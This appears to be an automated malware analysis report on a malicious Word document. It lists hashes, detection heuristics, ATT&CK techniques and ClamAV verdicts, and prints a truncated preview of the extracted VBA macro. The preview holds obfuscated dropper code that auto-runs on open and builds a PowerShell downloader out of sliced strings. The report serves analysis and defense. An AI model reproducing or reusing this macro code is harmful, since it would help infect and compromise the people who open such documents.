Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 caa404591cb437f0…

MALICIOUS

Office (OLE)

204.0 KB Created: 2017-12-26 14:44:00 Authoring application: Microsoft Office Word First seen: 2018-01-08
MD5: 735bcce222969fcdbcc71346c6e4102a SHA-1: dd3b67ee7e1fc661b7f9ee8aa38e2f842438ef68 SHA-256: caa404591cb437f0d037e10f6ad7ddfec9ee310fbf0cfc48a2b4ccd6e7ee2722
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, a critical heuristic firing, indicating an attempt to execute external commands. This is further supported by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic, which flags auto-execution with execution tokens. The ClamAV detections 'Img.Dropper.PhishingLure-6443153-0' and 'Doc.Trojan.Obfuscated-6443078-0' confirm its malicious nature, suggesting it acts as a dropper for further malicious content.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 80104 bytes
SHA-256: 8398fd57e7b5804cd936dfc95c2af95da16ff32013029406f6c37b4ebdbe2cfd
Detection
ClamAV: Doc.Trojan.Obfuscated-6443078-0
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "RKGRzizmIqq"
Function UQIBwqzOGaNjjT()
On Error Resume Next
CmpUSTwMGm = 44224474 / uFddibIotGzJj - 536083786 + CSng(zKvVOHHZBZrwRv) + 2 - Chr(7013) - kmSfisMHznDz / 8527 * mNPbnapfWiw + Fix(7798) + 9905 * Sin(7) / 310 * Sin(hVEDlkK)
WNWHhwwXGt = 44224474 / VQzbSFB - 536083786 + CSng(qQvsiwAiQ) + 2 - Chr(7013) - WruNbFVpcTnibC / 8527 * inTmSkaWfFUj + Fix(7798) + 9905 * Sin(7) / 310 * Sin(PkUWnpSzLH)
FEEmS = Mid("XV9SIrlK2bXwRNjVNEXZNKhNs((aSVwnrfaSV+aSVraSV+aSVaaSV+aSVnaSV+aSV'+'c = nh09+'+'h09aSV+aSV'+'eaSV'+'+aSVw-oh09+h09bjeaS'+'V+'+'aSV'+'ct SaSV+aSVystem.Nh'+'09+h'+'09eaSV7jE4oHbR1k", 26, 142)
nKLLjvXthEd = 44224474 / CITjdCDl - 536083786 + CSng(wiLJcmn) + 2 - Chr(7013) - QKrGGOHW / 8527 * wWIDLDtkcdu + Fix(7798) + 9905 * Sin(7) / 310 * Sin(zkXEbXwlqFjR)
wwFLtQIOZo = 44224474 / tmqwAruTa - 536083786 + CSng(CTvdaDFt) + 2 - Chr(7013) - WmNSqnfba / 8527 * dizoPzoko + Fix(7798) + 9905 * Sin(7) / 310 * Sin(bXlANQjCV)
pTvczcMwhQ = 44224474 / VZTGwuLKwGjcAm - 536083786 + CSng(RYAItaSaTCf) + 2 - Chr(7013) - LlornqJpiaiji / 8527 * YwiqbblRTRFa + Fix(7798) + 9905 * Sin(7) / 310 * Sin(SCwzEQEAZK)
IoIACPR = Mid("zJVETNYRBjLnDLlKrZRiqXbaknjKaqrT4BACh", 28, 2)
FjHHTmc = 44224474 / NzGGncfUAJV - 536083786 + CSng(UEwcDijjm) + 2 - Chr(7013) - RcqzBNEaD / 8527 * FwCicsBnRUk + Fix(7798) + 9905 * Sin(7) / 310 * Sin(wLCjElMEWor)
AMwFtQ = 44224474 / muStWBiP - 536083786 + CSng(QNXOcfRpWjLY) + 2 - Chr(7013) - rfwzArWFpGw / 8527 * QFNkQkTLw + Fix(7798) + 9905 * Sin(7) / 310 * Sin(MohUFYQm)
qzvFMGlbRwa = 44224474 / idQnbSQZGsKXCR - 536083786 + CSng(KdsPRimjfwUJSN) + 2 - Chr(7013) - FQFIvwcNMwEKYD / 8527 * fimmCad + Fix(7798) + 9905 * Sin(7) / 310 * Sin(ZLvzkqGJzM)
TUhjZzwVFra = Mid("LAzf9Q4n9VijzMYW8I4DpzpK5]57),[StrInG][ChAr]39).rEpLace(([ChAr]53+[ChAr]86+[ChAr]97),[StrInG][ChAr]36) ) LQlstHtZrBzv", 26, 80)
IbwREQ = 44224474 / BiKCmzWAq - 536083786 + CSng(bbGZzLZEFGvrN) + 2 - Chr(7013) - jTISjmzoCoz / 8527 * GDantjcSVjFP + Fix(7798) + 9905 * Sin(7) / 310 * Sin(IfULfVJVfTTo)
mzBVCOvzV = 44224474 / uaVRFvUw - 536083786 + CSng(RKCwoCimVSXwqY) + 2 - Chr(7013) - uZGOUwmjDJt / 8527 * FSCDVTbFYFpz + Fix(7798) + 9905 * Sin(7) / 310 * Sin(YWUbvMDCu)
iQwKwDVA = 44224474 / UEvnYRb - 536083786 + CSng(FWdRMMPvJ) + 2 - Chr(7013) - NtjXHdc / 8527 * TnMajHwpPY + Fix(7798) + 9905 * Sin(7) / 310 * Sin(iHonUCIqtS)
UPiUA = Mid("jaOvSRud0muCTHPQiS7aSV34aSV3wc3Bz", 20, 8)
kwsdJDs = 44224474 / fpFbwibwou - 536083786 + CSng(ZUTPCdPSD) + 2 - Chr(7013) - jHzwcSIHzqkLu / 8527 * OPrdazGBEB + Fix(7798) + 9905 * Sin(7) / 310 * Sin(BBLtiojqiviIiV)
OSWjWcODOw = 44224474 / LHwCrkA - 536083786 + CSng(fMjuwWcd) + 2 - Chr(7013) - itOWUfZ / 8527 * dbRZBZNAMlH + Fix(7798) + 9905 * Sin(7) / 310 * Sin(zKjKNAtjN)
pwZoV = 44224474 / SqrDfOaw - 536083786 + CSng(mmlsGhi) + 2 - Chr(7013) - vzbQwOO / 8527 * BULajGN + Fix(7798) + 9905 * Sin(7) / 310 * Sin(OiQJBWkb)
LhSSP = Mid("XhaQ0YpEmWq9rb9imSV+aSVas +aSV+aSV aSV+aSVQhh09+h09K.eaSV+aSVxeaSV+aSVQaSV+aSVh09+h09hKaSV+a'+'SV;forea'+'SV+aSVach(wnraSV+aSVaaSV+aSVbc iaSV+aSVnaSV+aSV aSV+aSVwnh09+h09aSV+aSVrbch09+h09aSV+aSVd){ftH3O6msOdh56GmSKv", 18, 180)
IjMSZpsSj = 44224474 / HnjzrrMiq - 536083786 + CSng(XZNIjninTuj) + 2 - Chr(7013) - VLBUJDIUmsQL / 8527 * isBhVndujt + Fix(7798) + 9905 * Sin(7) / 310 * Sin(wabaVGMSiVR)
XtIIsLCZzsR = 44224474 / YJwKXqsWZvJdC - 536083786 + CSng(wDJbwFDFiR) + 2 - Chr(7013) - BUkWhJqvMzhP / 8527 * XwdISFFh + Fix(7798) + 9905 * Sin(7) / 310 * Sin(KdzMYBcoSi)
SmvBdj = 44224474 / zXhJZWofIB - 536083786 + CSng(FudFzHGrpSbXi) + 2 - Chr(7013) - iwfjzdwMYDJ / 8527 * dDXrORvmWfsAO + Fix(7798) + 9905 * Sin(7) / 310 * Sin(cicBWAwh)
iOCPJhfI = Mid("6Tw7jC0DYXqnwoYaSVxceptiaSV+aSVoh09+h09naSV+aSV.aSV+ah09+h09SVMe'+'aSV+aSVs'+'sagaSV+aSVe;}}aSV)-CrEpLach09+h09eaSVQhKaSV,[cHAR]39-CrEph09+h09Lace  
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.